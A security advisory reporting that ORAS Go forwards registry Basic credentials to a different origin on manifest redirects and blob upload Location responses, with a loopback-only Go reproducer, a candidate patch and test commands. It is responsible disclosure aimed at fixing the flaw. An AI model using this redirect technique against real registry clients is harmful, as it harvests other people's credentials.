ORAS Go forwards registry credentials across registry redirects

Reporter / public credit: JUNYI LIU

Summary

ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.

There are two related paths:

1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin Authorization header to the redirect target.
2. A blob upload POST authenticates to the origin registry, then the origin returns an upload Location on another host or port. The follow-up PUT can carry the origin Authorization header to the Location target.

The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.

Impact

A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.

This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.

Affected Versions Tested

• oras-go v2.6.0: affected.
• oras-go main at commit a57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.
• oras-go v2 branch at commit d593d504779be8b69f0ba034ac9fd407d1fc8cfc: upload Location path is blocked, but manifest redirect credential forwarding is still affected.
• ORAS CLI at commit 3d2646279c70ba60415440e44c2ff97896e4a209, using oras-go v2.6.0: affected when using --registry-config.

Security Invariant

Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.

Local Reproduction Overview

All testing used loopback servers and fake credentials only.

Manifest redirect flow:

1. The client requests a manifest from the origin registry.
2. The origin returns 401 with a Basic challenge.
3. The client retries the origin request with the origin credential.
4. The origin returns 307 to another port on the same hostname.
5. The redirect sink receives the origin Authorization header.

ORAS CLI stored-credential flow:

1. A temporary registry config contains a fake Basic credential for the origin registry only.
2. Run:

oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest

3. The origin authenticates the request and redirects it to another port.
4. The redirect sink receives the origin Authorization header.

Blob upload Location flow:

1. The client starts a blob upload with POST to the origin registry.
2. The origin challenges with Basic and then accepts the authenticated POST.
3. The origin returns an upload Location URL on another port.
4. In affected versions, the follow-up PUT to the Location target carries the origin Authorization header.

Expected Result

Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.

Observed Result

In affected versions, redirect or Location sinks received:

Authorization: Basic <base64 origin_user:origin_pass>

Standalone Reproducer

package main

import (
	"context"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"sync"

	"github.com/opencontainers/go-digest"
	"github.com/oras-project/oras-go/v3/registry/remote"
	"github.com/oras-project/oras-go/v3/registry/remote/auth"
	"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)

type hit struct {
	Method string `json:"method"`
	Path   string `json:"path"`
	Host   string `json:"host"`
	Auth   string `json:"auth,omitempty"`
}

func main() {
	const username = "origin_user"
	const password = "origin_pass"
	const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
	var mu sync.Mutex
	var originHits, sinkHits []hit

	record := func(dst *[]hit, r *http.Request) {
		mu.Lock()
		defer mu.Unlock()
		*dst = append(*dst, hit{
			Method: r.Method,
			Path:   r.URL.RequestURI(),
			Host:   r.Host,
			Auth:   r.Header.Get("Authorization"),
		})
	}

	manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
	manifestDigest := digest.FromBytes(manifest).String()

	sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&sinkHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
		w.Header().Set("Docker-Content-Digest", manifestDigest)
		w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
		_, _ = w.Write(manifest)
	}))
	defer sink.Close()

	origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		record(&originHits, r)
		if r.Header.Get("Authorization") != expectedAuth {
			w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}
		http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
	}))
	defer origin.Close()

	repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
	if err != nil {
		panic(err)
	}
	repo.PlainHTTP = true
	repo.Client = &auth.Client{
		Client: origin.Client(),
		CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
			Username: username,
			Password: password,
		}),
	}

	_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")

	leaked := false
	for _, h := range sinkHits {
		if h.Auth == expectedAuth {
			leaked = true
		}
	}

	result := map[string]any{
		"origin_hits": originHits,
		"sink_hits":   sinkHits,
		"error":       "",
		"leaked":      leaked,
	}
	if err != nil {
		result["error"] = err.Error()
	}
	encoded, _ := json.MarshalIndent(result, "", "  ")
	fmt.Println(string(encoded))

	if leaked {
		fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
		return
	}
	fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
	os.Exit(1)
}

Candidate Fix

The candidate fix does two things:

1. In the auth client, wrap redirect handling so Authorization is removed when a redirect changes HTTP origin, while preserving any caller-provided CheckRedirect callback.
2. In blob upload completion, only reuse the previous POST Authorization header when the upload Location remains on the same HTTP origin.

The patch also adds regression coverage for both redirect cases:

• redirect before origin authentication reaches a different origin;
• redirect after origin authentication reaches a different origin.

diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {
 	for key, values := range c.Header {
 		req.Header[key] = append(req.Header[key], values...)
 	}
-	return c.client().Do(req)
+	client := c.client()
+	clientCopy := *client
+	checkRedirect := client.CheckRedirect
+	clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+		if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+			redirectReq.Header.Del(headerAuthorization)
+		}
+		if checkRedirect != nil {
+			return checkRedirect(redirectReq, via)
+		}
+		return nil
+	}
+	return clientCopy.Do(req)
+}
+
+func sameHTTPOrigin(a, b *url.URL) bool {
+	return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
 }
 
 // credential resolves the credential for the given registry.
@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
 	var attemptedKey string
 	cache := c.cache()
 	host := originalReq.Host
+	if host == "" {
+		host = originalReq.URL.Host
+	}
 	scheme, err := cache.GetScheme(ctx, host)
 	if err == nil {
 		switch scheme {
@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
 	if resp.StatusCode != http.StatusUnauthorized {
 		return resp, nil
 	}
+	respHost := resp.Request.Host
+	if respHost == "" {
+		respHost = resp.Request.URL.Host
+	}
+	if respHost != host {
+		return resp, nil
+	}
 
 	// attempt again with credentials for recognized schemes
 	challenge := resp.Header.Get(headerWWWAuthenticate)
diff --git a/registry/remote/repository.go b/registry/remote/repository.go
index 74d6b89..0bd20ec 100644
--- a/registry/remote/repository.go
+++ b/registry/remote/repository.go
@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte
 // Push or by Mount when the receiving repository does not implement the
 // mount endpoint.
 func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {
+	originalURL := req.URL
 	reqHostname := req.URL.Hostname()
 	reqPort := req.URL.Port()
 	// monolithic upload
@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
 	q.Set("digest", expected.Digest.String())
 	req.URL.RawQuery = q.Encode()
 
-	// reuse credential from previous POST request
-	if auth := resp.Request.Header.Get("Authorization"); auth != "" {
+	// reuse credential from previous POST request only when the upload location
+	// remains on the same origin.
+	if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) {
 		req.Header.Set("Authorization", auth)
 	}
 	resp, err = s.repo.do(req)
@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
 	return nil
 }
 
+func sameHTTPOrigin(a, b *url.URL) bool {
+	return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
+}
+
 // Exists returns true if the described content exists.
 func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {
 	if err := s.repo.checkPolicy(ctx, ""); err != nil {

Validation Performed

The repaired candidate fix blocked:

• manifest redirect credential forwarding;
• upload Location credential forwarding.

Targeted tests passed:

go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1

Prior Art / Duplicate Notes

Public pull request #1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.

Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.

Claim Boundaries

Proven:

• Origin registry Basic credentials can reach a different redirect or upload Location origin in local loopback tests.
• ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.
• The candidate fix blocks the tested redirect and upload Location credential exposures.

Not claimed:

• Live third-party exploitation.
• RCE, host compromise, or registry compromise.
• Arbitrary-host exposure beyond the tested redirect/Location origin transitions.
• Bearer realm behavior as part of the same claim.